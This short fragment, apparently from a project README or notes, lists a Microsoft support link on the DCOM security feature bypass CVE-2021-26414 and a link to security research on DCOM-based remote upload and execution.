https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c
Full Research: https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor